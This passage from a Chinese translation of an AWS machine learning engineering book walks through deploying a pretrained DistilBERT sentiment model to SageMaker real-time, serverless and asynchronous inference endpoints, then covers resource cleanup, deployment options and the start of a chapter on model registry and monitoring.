命令安装的包列表的文本文件。如果你的 requirements.txt
文件包含单行(例如,transformers==4.4.2
),那么在安装步骤中这将会映射到 pip install transformers==4.4.2
。如果 requirements.txt
文件包含多行,那么列出的每个包都将使用 pip install
命令安装。
注意
我们可以选择使用==
(等于)将列出的包和依赖项固定到特定版本。或者,我们也可以使用<
(小于)、>
(大于)和其他变体来管理要安装的包的版本号的上下限。
在接下来的步骤中,我们将在scripts
目录内创建和准备requirements.txt
文件:
- 通过点击文件菜单并从新建子菜单下的选项列表中选择文本文件来创建一个新的文本文件:
图 7.8 – 在 scripts 目录内创建一个新的文本文件
在图 7.8中,我们可以看到我们处于scripts
目录中(scripts
目录)。
-
重命名文件
requirements.txt
-
在
requirements.txt
文件中添加以下内容:transformers==4.4.2
-
确保通过按CTRL + S保存更改。
注意
如果你使用的是 Mac,请使用CMD + S。或者,你只需在文件菜单下的选项列表中点击保存 Python 文件。
难道不是很容易吗?现在让我们继续进行最后一个先决条件——setup.py
文件。
准备setup.py
文件
除了requirements.txt
文件外,我们还将准备一个包含一些附加信息和元数据的setup.py
文件。
注意
我们不会深入探讨requirements.txt
和setup.py
文件使用之间的差异。如有更多信息需要,请查看以下链接:docs.python.org/3/distutils/setupscript.xhtml
。
在接下来的步骤中,我们将在scripts
目录内创建和准备setup.py
文件:
-
使用与上一节相同的步骤,创建一个新的文本文件并将其重命名为
setup.py
。确保该文件与inference.py
和requirements.txt
文件位于同一目录(scripts
)中。 -
更新
setup.py
文件的内容,以包含以下代码块:from setuptools import setup, find_packages
setup(name='distillbert',
version='1.0',
description='distillbert',
packages=find_packages(
exclude=('tests', 'docs')
))
设置脚本简单地使用setup()
函数来描述模块分布。在这里,当调用setup()
函数时,我们指定了name
、version
和description
等元数据。
- 最后,确保通过按CTRL + S保存更改。
注意
如果你使用的是 Mac,请使用CMD + S。或者,你只需在文件菜单下的选项列表中点击保存 Python 文件。
到目前为止,我们已经准备好了运行本章后续所有部分所需的所有先决条件。有了这个,让我们在下一节中将我们的预训练模型部署到实时推理端点!
将预训练模型部署到实时推理端点
在本节中,我们将使用 SageMaker Python SDK 将预训练模型部署到实时推理端点。从其名称本身,我们可以看出实时推理端点可以处理输入有效载荷并在实时进行预测。如果你之前构建过 API 端点(例如,可以处理 GET 和 POST 请求),那么我们可以将推理端点视为一个接受输入请求并作为响应的一部分返回预测的 API 端点。预测是如何进行的?推理端点只需将模型加载到内存中并使用它来处理输入有效载荷。这将产生一个作为响应返回的输出。例如,如果我们有一个预训练的情感分析 ML 模型部署在实时推理端点,那么它将根据请求中提供的输入字符串有效载荷返回 "POSITIVE"
或 "NEGATIVE"
的响应。
注意
假设我们的推理端点通过 POST 请求接收语句 "我喜欢阅读 AWS 上的 MLE 书籍!"
。然后,推理端点将处理请求输入数据并使用 ML 模型进行推理。ML 模型推理步骤的结果(例如,表示 "POSITIVE"
结果的数值)将作为响应的一部分返回。
图 7.9 – 所需的文件和文件夹结构
要使这一切正常工作,我们只需在使用 SageMaker Python SDK 准备实时推理端点之前确保所有先决文件就绪,包括推理脚本文件(例如,inference.py
)和 requirements.txt
文件。在继续本节的手动解决方案之前,请务必检查并审查 图 7.9 中的文件夹结构。
在接下来的步骤中,我们将使用 SageMaker Python SDK 将我们的预训练模型部署到实时推理端点:
- 在
CH07
目录中创建一个新的笔记本,使用Data Science
映像。将笔记本重命名为02 - 部署实时推理端点.ipynb
。
注意
新的笔记本应该紧挨着 01 - 准备模型.tar.gz 文件.ipynb
,类似于 图 7.9 中所示。
-
让我们在新笔记本的第一个单元中运行以下代码块:
%store -r model_data
%store -r s3_bucket
%store -r prefix
在这里,我们使用 %store
魔法加载 model_data
、s3_bucket
和 prefix
的变量值。
-
接下来,让我们为 SageMaker 准备 IAM 执行角色:
from sagemaker import get_execution_role
role = get_execution_role()
-
初始化
PyTorchModel
对象:from sagemaker.pytorch.model import PyTorchModel
model = PyTorchModel(
model_data=model_data,
role=role,
source_dir="scripts",
entry_point='inference.py',
framework_version='1.6.0',
py_version="py3"
)
让我们查看 图 7.10 以帮助我们可视化之前代码块中发生的情况:
图 7.10 – 部署实时推理端点
在图 7.10中,我们可以看到在初始化步骤中通过传递几个配置参数初始化了一个Model
对象:(1)模型数据,(2)框架版本,以及(3)inference.py
脚本文件的路径。我们还可以设置其他参数,但为了简化,我们将关注这三个。为了让 SageMaker 知道如何使用预训练模型进行推理,inference.py
脚本文件应包含自定义逻辑,该逻辑加载 ML 模型并使用它进行预测。
注意
重要的是要注意,我们不仅限于将推理脚本文件命名为inference.py
。只要我们指定正确的entry_point
值,我们就可以使用不同的命名约定。
如果我们在部署机器学习模型时使用 SageMaker 的脚本模式,那么这就是这种情况。请注意,还有其他选项可用,例如使用自定义容器镜像,在这种情况下,我们将传递一个我们事先准备好的容器镜像,而不是传递脚本。当使用 SageMaker 的内置算法训练机器学习模型时,我们可以直接部署这些模型,无需任何自定义脚本或容器镜像,因为 SageMaker 已经提供了所有部署所需的前提条件。
-
使用
deploy()
方法将模型部署到实时推理端点:%%time
from sagemaker.serializers import JSONSerializer
from sagemaker.deserializers import JSONDeserializer
predictor = model.deploy(
instance_type='ml.m5.xlarge',
initial_instance_count=1,
serializer=JSONSerializer(),
deserializer=JSONDeserializer()
)
此步骤应花费大约 3 到 8 分钟才能完成。
注意
当使用 SageMaker Python SDK 的deploy()
方法部署机器学习模型时,我们被赋予了指定实例类型的权限。为模型选择正确的实例类型很重要,在成本和性能之间找到最佳平衡并不是一个简单的过程。有众多实例类型和大小可供选择,机器学习工程师在 SageMaker 托管服务中部署模型时可能会遇到次优配置。好消息是,SageMaker 有一个名为SageMaker 推理推荐器的功能,可以帮助您决定使用哪种实例类型。更多信息,您可以查看以下链接:docs.aws.amazon.com/sagemaker/latest/dg/inference-recommender.xhtml
。
-
现在我们的实时推理端点正在运行,让我们使用
predict()
方法进行一次样本预测:payload = {
"text": "I love reading the book MLE on AWS!"
}
predictor.predict(payload)
这应该会产生一个输出值'POSITIVE'
。
-
让我们也测试一个负面场景:
payload = {
"text": "This is the worst spaghetti I've had"
}
predictor.predict(payload)
这应该会产生一个输出值'NEGATIVE'
。在下一步删除端点之前,您可以自由测试不同的值。
-
最后,让我们使用
delete_endpoint()
方法删除推理端点:predictor.delete_endpoint()
这将帮助我们避免任何未使用的推理端点的意外费用。
难道不是很容易吗?使用 SageMaker Python SDK 将预训练模型部署到实时推理端点(在指定实例类型的 ML 实例内部)非常简单!大量的工程工作已经为我们自动化了,我们只需要调用Model
对象的deploy()
方法。
将预训练模型部署到无服务器推理端点
在本书的前几章中,我们使用了几种无服务器服务,这些服务允许我们管理和降低成本。如果您想知道在 SageMaker 中部署 ML 模型时是否有无服务器选项,那么对这个问题的答案将是美妙的肯定。当您处理间歇性和不可预测的流量时,使用无服务器推理端点托管您的 ML 模型可以是一个更经济的选择。假设我们可以容忍冷启动(在一段时间的不活跃后,请求处理时间更长)并且我们每天只期望有少量请求,那么我们可以使用无服务器推理端点而不是实时选项。实时推理端点最好用于我们可以最大化推理端点的情况。如果您预计您的端点大部分时间都会被使用,那么实时选项可能就足够了。
图 7.11 – 所需的文件和文件夹结构
使用 SageMaker Python SDK 将预训练 ML 模型部署到无服务器推理端点的方式与部署到实时推理端点的方式相似。唯一的主要区别如下:
-
ServerlessInferenceConfig
对象的初始化 -
在调用
Model
对象的deploy()
方法时传递此对象作为参数
在接下来的步骤中,我们将使用 SageMaker Python SDK 将我们的预训练模型部署到无服务器推理端点:
- 在
CH07
目录下创建一个新的笔记本,使用Data Science
镜像。将笔记本重命名为03 - 部署无服务器推理端点.ipynb
。
注意
新笔记本应位于01 - 准备 model.tar.gz 文件.ipynb
旁边,类似于图 7.11中所示。
-
在新笔记本的第一个单元中,让我们运行以下代码块来加载
model_data
、s3_bucket
和prefix
变量的值:%store -r model_data
%store -r s3_bucket
%store -r prefix
如果在运行此代码块时出现错误,请确保您已完成了本章“准备预训练模型工件”部分中指定的步骤。
-
准备 SageMaker 使用的 IAM 执行角色:
from sagemaker import get_execution_role
role = get_execution_role()
-
初始化和配置
ServerlessInferenceConfig
对象:from sagemaker.serverless import ServerlessInferenceConfig
serverless_config = ServerlessInferenceConfig(
memory_size_in_mb=4096,
max_concurrency=5,
)
-
初始化
PyTorchModel
对象并使用deploy()
方法将模型部署到无服务器推理端点:from sagemaker.pytorch.model import PyTorchModel
from sagemaker.serializers import JSONSerializer
from sagemaker.deserializers import JSONDeserializer
model = PyTorchModel(
model_data=model_data,
role=role,
source_dir="scripts",
entry_point='inference.py',
framework_version='1.6.0',
py_version="py3"
)
predictor = model.deploy(
instance_type='ml.m5.xlarge',
initial_instance_count=1,
serializer=JSONSerializer(),
deserializer=JSONDeserializer(),
serverless_inference_config=serverless_config
)
注意
模型部署应大约需要 3 到 8 分钟才能完成。
-
现在我们实时推理端点正在运行,让我们使用
predict()
方法进行一次样本预测:payload = {
"text": "I love reading the book MLE on AWS!"
}
predictor.predict(payload)
这应该会产生一个输出值为'POSITIVE'
。
-
让我们也测试一个负面场景:
payload = {
"text": "This is the worst spaghetti I've had"
}
predictor.predict(payload)
这应该会产生一个输出值'NEGATIVE'
。在下一步删除端点之前,你可以自由地测试不同的值。
-
最后,让我们使用
delete_endpoint()
方法删除推理端点:predictor.delete_endpoint()
这将帮助我们避免因未使用的推理端点而产生的任何意外费用。
如你所见,一切几乎相同,只是ServerlessInferenceConfig
对象的初始化和使用不同。当使用无服务器端点时,SageMaker 为我们管理计算资源,并自动执行以下操作:
-
根据我们在初始化
ServerlessInferenceConfig
时指定的memory_size_in_mb
参数值自动分配计算资源 -
使用配置的最大并发值来管理同时可以发生的并发调用数量
-
如果没有请求,自动将资源缩减到零
一旦你看到更多如何使用 SageMaker Python SDK 的示例,你将开始意识到这个 SDK 的设计和实现是多么出色。
将预训练模型部署到异步推理端点
除了实时和无服务器推理端点之外,SageMaker 在部署模型时还提供第三个选项——异步推理端点。为什么叫异步呢?一方面,我们不需要立即得到结果,请求会被排队,结果会异步提供。这对于涉及以下一个或多个方面的 ML 需求来说适用:
-
大输入负载(高达 1 GB)
-
长预测处理持续时间(高达 15 分钟)
异步推理端点的一个很好的用例是用于检测大型视频文件中的对象(可能需要超过 60 秒才能完成)的 ML 模型。在这种情况下,推理可能需要几分钟而不是几秒钟。
我们如何使用异步推理端点? 要调用异步推理端点,我们执行以下操作:
-
请求负载被上传到 Amazon S3 存储桶。
-
当调用
AsyncPredictor
对象的predict_async()
方法(该对象映射或表示 ML 推理端点)时,使用 S3 路径或位置(请求负载存储的地方)作为参数值。 -
当调用端点时,异步推理端点会将请求排队以进行处理(一旦端点可以处理)。
-
处理请求后,输出推理结果将被存储并上传到输出 S3 位置。
-
如果设置了,将发送一个 SNS 通知(例如,成功或错误通知)。
在本节中,我们将部署我们的 NLP 模型到异步推理端点。为了模拟延迟,我们将在推理脚本中调用sleep()
函数,使得预测步骤比平时更长。一旦我们可以使这个相对简单的设置工作,处理更复杂的要求,如视频文件的对象检测,将会容易得多。
图 7.12 – 文件和文件夹结构
为了使此设置生效,我们需要准备一个包含类似图 7.12中所示输入负载的文件(例如,data或input.json
)。一旦准备好的输入文件,我们将将其上传到 Amazon S3 存储桶,然后继续部署我们的预训练 ML 模型到异步推理端点。
考虑到这一点,让我们继续创建输入 JSON 文件!
创建输入 JSON 文件
在下一组步骤中,我们将创建一个包含用于在下一节中调用异步推理端点的输入 JSON 值的示例文件:
- 在文件浏览器侧边栏面板的空白区域右键单击以打开类似于图 7.13所示的上下文菜单:
图 7.13 – 创建新文件夹
确保在执行此步骤之前,您位于文件浏览器中的CH07
目录。
-
重命名文件夹
data
。 -
双击文件浏览器侧边栏面板中的
data
文件夹以导航到该目录。 -
通过点击文件菜单,并在新建子菜单下的选项列表中选择文本文件来创建一个新的文本文件:
图 7.14 – 创建新文本文件
确保在创建新文本文件时,您位于data
目录,类似于图 7.14。
- 如图 7.15所示重命名文件
input.json
:
图 7.15 – 重命名文本文件
要重命名untitled.txt
文件,在input.json
)文件上右键单击以替换默认的名称值。
-
在具有以下 JSON 值的
input.json
文件中:{"text": "I love reading the book MLE on AWS!"}
-
确保通过按CTRL + S保存您的更改。
注意
如果您使用的是 Mac,请使用CMD + S。或者,您也可以直接在文件菜单下的选项列表中点击保存 Python 文件。
再次强调,只有在计划将我们的 ML 模型部署到异步推理端点时,才需要输入文件。准备好了,我们现在可以继续下一步。
在推理脚本中添加人工延迟
在使用 SageMaker Python SDK 将我们的预训练模型部署到异步推理端点之前,我们将在预测步骤中添加一个人工延迟。这将帮助我们模拟需要一些时间才能完成的推理或预测请求。
注意
当调试异步推理端点时,您可能首先选择测试一个只需几秒钟就能进行预测的机器学习模型。这将帮助您立即知道是否有问题,因为输出预期将在几秒钟内上传到 S3 输出路径(而不是几分钟)。话虽如此,如果您在设置工作遇到问题,您可能想要暂时移除人工延迟。
在接下来的步骤中,我们将更新inference.py
脚本来在执行预测时添加 30 秒延迟:
- 在上一节中继续,让我们导航到文件浏览器中的
CH07
目录:
图 7.16 – 导航到 CH07 目录
在这里,我们点击图 7.16中突出显示的CH07
链接。
- 双击如图 7.17 所示的
scripts
文件夹,以导航到该目录:
图 7.17 – 导航到 scripts 目录
在进行下一步之前,请确保您已完成了准备 SageMaker 脚本模式先决条件部分中的动手步骤。scripts
目录应包含三个文件:
-
inference.py
-
requirements.txt
-
setup.py
- 双击并打开如图 7.18 所示的
inference.py
文件。找到predict_fn()
函数,取消注释包含sleep(30)
的代码行:
图 7.18 – 更新 inference.py 文件
要取消注释代码行,只需移除sleep(30)
之前的 hash 和空格(#
),类似于图 7.18中所示。
- 确保通过按CTRL + S保存更改。
注意
如果您使用的是 Mac,请使用CMD + S。或者,您也可以在文件菜单下的选项列表中点击保存 Python 文件。
现在我们已经完成了添加 30 秒的人工延迟,让我们继续使用 SageMaker Python SDK 来部署我们的异步推理端点。
部署和测试异步推理端点
使用 SageMaker Python SDK 将预训练的机器学习模型部署到异步推理端点的方式与部署实时和无服务器推理端点的方式相似。唯一的主要区别将是(1)AsyncInferenceConfig
对象的初始化,以及(2)在调用Model
对象的deploy()
方法时传递此对象作为参数。
在接下来的步骤中,我们将使用 SageMaker Python SDK 将我们的预训练模型部署到异步推理端点:
- 在添加推理脚本中的人工延迟部分中继续,让我们导航到
Data Science
镜像中的CH07
目录。重命名笔记本为04 - 部署异步推理端点.ipynb
。
注意
新笔记本应位于01 - 准备 model.tar.gz 文件.ipynb
旁边。
-
在新笔记本的第一个单元中,让我们运行以下代码块来加载
model_data
、s3_bucket
和prefix
变量的值:%store -r model_data
%store -r s3_bucket
%store -r prefix
如果在运行此代码块时遇到错误,请确保您已完成了本章准备预训练模型工件部分中指定的步骤。
-
准备我们将上传推理输入文件的路径:
input_data = "s3://{}/{}/data/input.json".format(
s3_bucket,
prefix
)
-
使用
aws s3 cp
命令将input.json
文件上传到 S3 存储桶:!aws s3 cp data/input.json {input_data}
-
为 SageMaker 准备 IAM 执行角色:
from sagemaker import get_execution_role
role = get_execution_role()
-
初始化
AsyncInferenceConfig
对象:from sagemaker.async_inference import AsyncInferenceConfig
output_path = f"s3://{s3_bucket}/{prefix}/output"
async_config = AsyncInferenceConfig(
output_path=output_path
)
在初始化AsyncInferenceConfig
对象时,我们指定结果将保存的output_path
参数值。
-
接下来,让我们初始化
PyTorchModel
对象:from sagemaker.pytorch.model import PyTorchModel
model = PyTorchModel(
model_data=model_data,
role=role,
source_dir="scripts",
entry_point='inference.py',
framework_version='1.6.0',
py_version="py3"
)
在这里,我们指定参数的配置值,例如model_data
、role
、source_dir
、entry_point
、framework_version
和py_version
。
-
使用
deploy()
方法将模型部署到异步推理端点:%%time
from sagemaker.serializers import JSONSerializer
from sagemaker.deserializers import JSONDeserializer
predictor = model.deploy(
instance_type='ml.m5.xlarge',
initial_instance_count=1,
serializer=JSONSerializer(),
deserializer=JSONDeserializer(),
async_inference_config=async_config
)
在这里,我们将之前步骤中初始化的AsyncInferenceConfig
对象作为参数值指定给async_inference_config
。
图 7.19 – 部署异步推理端点
在图 7.19中,我们可以看到deploy()
方法接受 SageMaker 的参数值来配置异步推理端点而不是实时推理端点。
注意
模型部署应大约需要 3 到 8 分钟才能完成。
-
一旦推理端点准备就绪,让我们使用
predict_async()
方法进行预测:response = predictor.predict_async(
input_path=input_data
)
这应该使用存储在 S3 中的input.json
文件中的数据调用异步推理端点。
图 7.20 – predict_async()
方法的工作原理
在图 7.20中,我们可以看到异步推理端点的输入有效负载来自 S3 存储桶。然后,端点处理完请求后,输出将保存到 S3。如果您的输入有效负载很小(例如,小于1 MB),这可能没有太多意义。然而,如果输入有效负载涉及较大的文件,如视频文件,那么将它们上传到 S3 并利用异步推理端点进行预测将更有意义。
-
使用
sleep()
函数在调用response
对象的get_result()
函数之前等待 40 秒:from time import sleep
sleep(40)
response.get_result()
这应该产生一个输出值'POSITIVE'
。
注意
为什么要等待 40 秒?因为我们已经在预测步骤中添加了 30 秒的人工延迟,所以我们必须至少等待 30 秒,直到输出文件在指定的 S3 位置可用。
-
将 S3 路径字符串值存储在
output_path
变量中:output_path = response.output_path
-
使用
aws s3 cp
命令将输出文件的副本下载到 Studio 笔记本实例:!aws s3 cp {output_path} sample.out
-
现在我们已经下载了输出文件,让我们使用
cat
命令来检查其内容:!cat sample.out
这应该会给我们一个输出值 'POSITIVE'
,类似于我们在之前步骤中使用 get_result()
方法所得到的结果。
-
让我们通过使用
rm
命令删除输出文件的副本来进行快速清理:!rm sample.out
-
最后,让我们使用
delete_endpoint()
方法删除推理端点:predictor.delete_endpoint()
这将帮助我们避免因未使用的推理端点而产生的任何意外费用。
重要提示:在生产环境中,最好将架构更新为更事件驱动,并在初始化 AsyncInferenceConfig
对象时,必须更新 notification_config
参数值为适当的值。更多信息,请查阅以下链接:sagemaker.readthedocs.io/en/stable/overview.xhtml#sagemaker-asynchronous-inference
。
注意
什么是 SNS?SNS 是一个完全托管的消息服务,允许架构以事件驱动。来自源(发布者)的消息可以扩散并发送到各种接收者(订阅者)。如果我们配置 SageMaker 异步推理端点将通知消息推送到 SNS,那么在预测步骤完成后,最好也注册并设置一个等待成功(或错误)通知消息的订阅者。这个订阅者随后将在结果可用时执行预定义的操作。
清理
现在我们已经完成了本章动手实践的解决方案,是时候清理并关闭我们将不再使用的任何资源了。在接下来的步骤中,我们将定位并关闭 SageMaker Studio 中任何剩余的运行实例:
- 点击侧边栏中突出显示的 运行实例和内核 图标,如图 7.21 所示:
图 7.21 – 关闭运行实例
点击 运行实例和内核 图标应该会打开并显示 SageMaker Studio 中的运行实例、应用和终端。
-
通过点击每个实例的 关闭 按钮,关闭 RUNNING INSTANCES 下的所有运行实例,如图 7.21 所示。点击 关闭 按钮将打开一个弹出窗口,验证实例关闭操作。点击 关闭所有 按钮继续。
-
确保检查并删除 SageMaker 资源 下的所有运行推理端点(如果有):
图 7.22 – 检查运行推理端点列表
要检查是否存在正在运行的推理端点,请点击如图 7.22 所示的高亮SageMaker 资源图标,然后从下拉菜单中选择端点。
重要的是要注意,这个清理操作需要在使用 SageMaker Studio 之后执行。即使在非活动期间,SageMaker 也不会自动关闭这些资源。
注意
如果你正在寻找其他方法来降低在 SageMaker 中运行 ML 工作负载的成本,你可以查看如何利用其他功能和能力,例如SageMaker Savings Plans(通过承诺 1 年或 3 年的持续使用来降低成本),SageMaker Neo(帮助优化 ML 模型以部署,加快推理速度并降低成本),以及SageMaker Inference Recommender(通过自动负载测试帮助你选择推理端点的最佳实例类型)。本书中不会进一步详细讨论这些内容,因此请随意查看以下链接以获取更多关于这些主题的信息:docs.aws.amazon.com/sagemaker/latest/dg/inference-cost-optimization.xhtml
。
部署策略和最佳实践
在本节中,我们将讨论使用 SageMaker 托管服务时的相关部署策略和最佳实践。让我们先谈谈我们可以调用现有 SageMaker 推理端点的方式。到目前为止,我们使用的解决方案涉及使用 SageMaker Python SDK 调用现有端点:
from sagemaker.predictor import Predictor
from sagemaker.serializers import JSONSerializer
from sagemaker.deserializers import JSONDeserializer
endpoint_name = "<INSERT NAME OF EXISTING ENDPOINT>"
predictor = Predictor(endpoint_name=endpoint_name)
predictor.serializer = JSONSerializer()
predictor.deserializer = JSONDeserializer()
payload = {
^ "text": "I love reading the book MLE on AWS!"
}
predictor.predict(payload)
在这里,我们在初始化步骤中初始化一个Predictor
对象,并将其指向现有的推理端点。然后我们使用这个Predictor
对象的predict()
方法来调用推理端点。
注意,我们也可以使用boto3库调用相同的端点,类似于以下代码块中所示:
import boto3
import json
endpoint_name = "<INSERT NAME OF EXISTING ENDPOINT>"
runtime = boto3.Session().client('sagemaker-runtime')
payload = {
"text": "I love reading the book MLE on AWS!"
}
response = sagemaker_client.invoke_endpoint(
EndpointName=endpoint_name,
ContentType='application/json',
Body=json.dumps(payload)
)
json.loads(response['Body'].read().decode('utf-8'))
在这里,我们在使用现有的 ML 推理端点进行预测和推理时使用invoke_endpoint()
方法。正如你所见,即使没有安装 SageMaker Python SDK,我们也应该能够通过POST
请求使用InvokeEndpoint
API 调用现有的 ML 推理端点。
注意
如果你的后端应用程序代码使用的是除 Python 以外的语言(例如 Ruby、Java 或 JavaScript),那么你只需要寻找该语言的现有 SDK 以及相应的函数或方法即可。有关更多信息,你可以查看以下链接,其中包含不同的工具以及每种语言可用的 SDK:aws.amazon.com/tools/
。
如果你想准备一个 HTTP API,该 API 可以调用并接口现有的 SageMaker 推理端点,那么有几种可能的解决方案。以下是一个快速列表:
-
选项 1: Amazon API Gateway HTTP API + AWS Lambda 函数 + boto3 + SageMaker ML 推理端点 – 使用
boto3
库调用 SageMaker ML 推理端点。 -
选项 2: AWS Lambda 函数 + boto3 + SageMaker ML 推理端点(Lambda 函数 URL) – 直接从 Lambda 函数 URL(用于触发 Lambda 函数的专用端点)调用 AWS Lambda 函数。然后,AWS Lambda 函数使用
boto3
库调用 SageMaker ML 推理端点。 -
选项 3: Amazon API Gateway HTTP API + SageMaker ML 推理端点(API Gateway 映射模板) – Amazon API Gateway HTTP API 接收 HTTP 请求并直接使用 API Gateway 映射模板(不使用 Lambda 函数)调用 SageMaker ML 推理端点。
-
选项 4: 在 EC2 实例内使用 Web 框架(例如 Flask 或 Django)的基于容器的自定义 Web 应用程序 + boto3 + SageMaker ML 推理端点 – Web 应用程序(在
boto3
库的容器内运行,以调用 SageMaker ML 推理端点)。 -
选项 5: 在 Elastic Container Service(ECS)内使用 Web 框架(例如 Flask 或 Django)的基于容器的自定义 Web 应用程序 + boto3 + SageMaker ML 推理端点 – Web 应用程序(在容器内运行,使用
boto3
库调用 SageMaker ML 推理端点)。 -
选项 6: 使用 Elastic Kubernetes 服务(EKS)的基于容器的自定义 Web 应用程序(例如,Flask 或 Django)+ boto3 + SageMaker ML 推理端点 – Web 应用程序(在
boto3
库的容器内运行,以调用 SageMaker ML 推理端点)。 -
选项 7: AWS AppSync(GraphQL API)+ AWS Lambda 函数 + boto3 + SageMaker ML 推理端点 – 使用
boto3
库调用 SageMaker ML 推理端点。
注意,这并不是一个详尽的列表,肯定还有其他方式来设置一个调用现有 SageMaker 推理端点的 HTTP API。当然,也有场景是我们希望直接从另一个 AWS 服务资源调用现有的推理端点。这意味着我们不再需要准备一个作为两个服务之间中间人的单独 HTTP API。
重要的是要注意,我们还可以直接从 Amazon Aurora、Amazon Athena、Amazon Quicksight 或 Amazon Redshift 调用 SageMaker 推理端点。在 第四章 “AWS 上的无服务器数据管理”中,我们使用了 Redshift 和 Athena 来查询我们的数据。除了这些服务已经提供的数据库查询外,我们还可以使用类似于以下代码块中的语法直接执行 ML 推理(Athena 的一个示例查询):
USING EXTERNAL FUNCTION function_name(value INT)
RETURNS DOUBLE
SAGEMAKER '<INSERT EXISTING ENDPOINT NAME>'
SELECT label, value, function_name(value) AS alias
FROM athena_db.athena_table
在这里,我们定义并使用一个自定义函数,当使用 Amazon Athena 时,它会调用现有的 SageMaker 推理端点进行预测。有关更多信息,请随时查看以下资源和链接:
-
Amazon Athena + Amazon SageMaker:
docs.aws.amazon.com/athena/latest/ug/querying-mlmodel.xhtml
. -
Amazon Redshift + Amazon SageMaker:
docs.aws.amazon.com/redshift/latest/dg/machine_learning.xhtml
. -
Amazon Aurora + Amazon SageMaker:
docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/aurora-ml.xhtml
. -
Amazon QuickSight + Amazon SageMaker:
docs.aws.amazon.com/quicksight/latest/user/sagemaker-integration.xhtml
.
如果我们想在 SageMaker 托管服务之外部署模型,我们也可以做到。例如,我们可以使用 SageMaker 训练我们的模型,然后从包含在训练过程中生成的模型工件文件的 S3 存储桶中下载model.tar.gz
文件。生成的模型工件文件可以在 SageMaker 之外部署,类似于我们在第二章,深度学习 AMIs和第三章,深度学习容器中部署和调用模型的方式。此时,你可能会问自己:为什么要在 SageMaker 托管服务中部署 ML 模型?以下是一个快速列表,列出了如果你在 SageMaker 托管服务中部署 ML 模型可以轻松执行和设置的事情:
-
设置用于托管机器学习模型的基础设施资源(ML 实例)的自动扩展(autoscaling)。自动扩展会在流量或工作负载增加时自动添加新的 ML 实例,并在流量或工作负载减少时减少已配置的 ML 实例数量。
-
使用 SageMaker 的多模型端点(MME)和多容器端点(MCE)支持,在单个推理端点中部署多个 ML 模型。也可以在单个端点后面设置一个串行推理管道,该管道涉及一系列容器(例如,预处理、预测和后处理),用于处理 ML 推理请求。
-
通过将流量分配到单个推理端点下的多个变体来设置 ML 模型的A/B 测试。
-
使用 SageMaker Python SDK 仅用几行代码设置自动化的模型监控和监控(1)数据质量,(2)模型质量,(3)偏差漂移和(4)特征归因漂移。我们将在第八章,模型监控和管理解决方案中更深入地探讨模型监控。
-
在部署模型时使用弹性推理,以向 SageMaker 推理端点添加推理加速,提高吞吐量并降低延迟。
-
在更新已部署模型时,执行蓝绿部署时使用多种流量切换模式。如果我们想一次性将所有流量从旧配置切换到新配置,我们可以使用一次性流量切换模式。如果我们想分两步将流量从旧配置切换到新配置,我们可以使用金丝雀流量切换模式。这涉及在第一次切换中仅切换部分流量,在第二次切换中切换剩余的流量。最后,我们可以使用线性流量切换模式,以预定的步骤数迭代地将流量从旧配置切换到新配置。
-
配置CloudWatch警报以及 SageMaker 自动回滚配置,以自动化部署回滚过程。
如果我们使用 SageMaker 进行模型部署,所有这些相对容易设置。在使用这些功能和特性时,我们只需要关注配置步骤,因为大部分工作已经被 SageMaker 自动化了。
到目前为止,我们一直在讨论在云中部署机器学习模型的不同选项和解决方案。在本节结束之前,让我们快速讨论一下在边缘设备(如移动设备和智能摄像头)上部署机器学习模型的情况。这种方法的几个优点包括实时预测延迟降低、隐私保护以及与网络连接相关的成本降低。当然,由于涉及的计算和内存等资源限制,在边缘设备上运行和管理机器学习模型会面临一些挑战。这些挑战可以通过SageMaker Edge Manager来解决,这是一个在边缘设备上优化、运行、监控和更新机器学习模型时利用其他服务、功能和特性的能力(例如SageMaker Neo、IoT Greengrass和SageMaker Model Monitor)。我们不会深入探讨细节,因此请自由查阅 https://docs.aws.amazon.com/sagemaker/latest/dg/edge.xhtml 以获取更多关于此主题的信息。
摘要
在本章中,我们讨论并专注于使用 SageMaker 的几种部署选项和解决方案。我们将预训练模型部署到三种不同类型的推理端点 - (1)实时推理端点,(2)无服务器推理端点,以及(3)异步推理端点。我们还讨论了每种方法的差异,以及每种选项在部署机器学习模型时最佳的使用时机。在本章的末尾,我们讨论了一些部署策略,以及使用 SageMaker 进行模型部署的最佳实践。
在下一章中,我们将更深入地探讨SageMaker 模型注册表和SageMaker 模型监控器,这些是 SageMaker 的功能,可以帮助我们管理和监控我们的生产模型。
进一步阅读
关于本章涵盖的主题的更多信息,请随时查看以下资源:
-
Hugging Face DistilBERT 模型 (
huggingface.co/docs/transformers/model_doc/distilbert
) -
SageMaker – 部署推理模型 (https://docs.aws.amazon.com/sagemaker/latest/dg/deploy-model.xhtml)
-
SageMaker – 推荐推理 (
docs.aws.amazon.com/sagemaker/latest/dg/inference-recommender.xhtml
) -
SageMaker – 部署安全网 (
docs.aws.amazon.com/sagemaker/latest/dg/deployment-guardrails.xhtml
)
第四部分:保护、监控和管理机器学习系统和环境
在本节中,读者将学习如何正确地保护、监控和管理生产机器学习系统和部署的模型。
本节包括以下章节:
-
第八章,模型监控和管理解决方案
-
第九章,安全、治理和合规策略
第八章:模型监控和管理解决方案
在第六章“SageMaker 训练和调试解决方案”和第七章“SageMaker 部署解决方案”中,我们专注于使用SageMaker训练和部署机器学习(ML)模型。如果你能够完成那些章节中提供的动手实践解决方案,你应该能够使用其他算法和数据集执行类似类型的实验和部署。这两章是良好的起点,尤其是在开始使用托管服务时。然而,在某个时候,你将不得不使用其其他功能来管理、故障排除和监控生产机器学习环境中的不同类型资源。
使用 SageMaker 的一个明显优势是,数据科学家和机器学习实践者通常执行的大量任务已经作为这项完全托管服务的一部分自动化。这意味着我们通常不需要构建自定义解决方案,尤其是如果 SageMaker 已经具备该功能或特性。这些功能的例子包括SageMaker 调试器、SageMaker 特征存储、SageMaker 训练编译器、SageMaker 推理推荐器、SageMaker Clarify、SageMaker 处理等等!如果我们需要使用这些功能之一或多个,我们只需要使用boto3以及SageMaker Python SDK,运行几行代码,就可以在几小时(甚至几分钟!)内获得所需的功能和结果。
在本章中,我们将专注于使用 SageMaker 的内置模型注册表,我们将使用它来注册和管理训练好的机器学习模型。我们还将快速演示如何将模型从模型注册表部署到机器学习推理端点。除了模型注册表,我们还将使用SageMaker 模型监控器,这是另一个内置功能,我们将用它来捕获和分析通过机器学习推理端点的数据。
在本章中,我们将涵盖以下主题:
-
将模型注册到 SageMaker 模型注册表
-
从 SageMaker 模型注册表部署模型
-
启用数据捕获并模拟预测
-
使用 SageMaker 模型监控器进行计划监控
-
分析捕获的数据
-
